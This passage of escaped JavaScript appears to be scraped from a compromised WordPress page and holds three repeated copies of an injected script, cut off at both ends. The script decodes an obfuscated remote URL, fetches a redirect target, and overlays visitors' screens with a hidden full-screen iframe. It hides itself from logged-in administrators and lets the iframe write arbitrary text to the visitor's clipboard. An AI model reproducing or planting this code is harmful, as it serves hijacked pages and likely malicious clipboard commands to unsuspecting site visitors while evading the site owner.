jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try 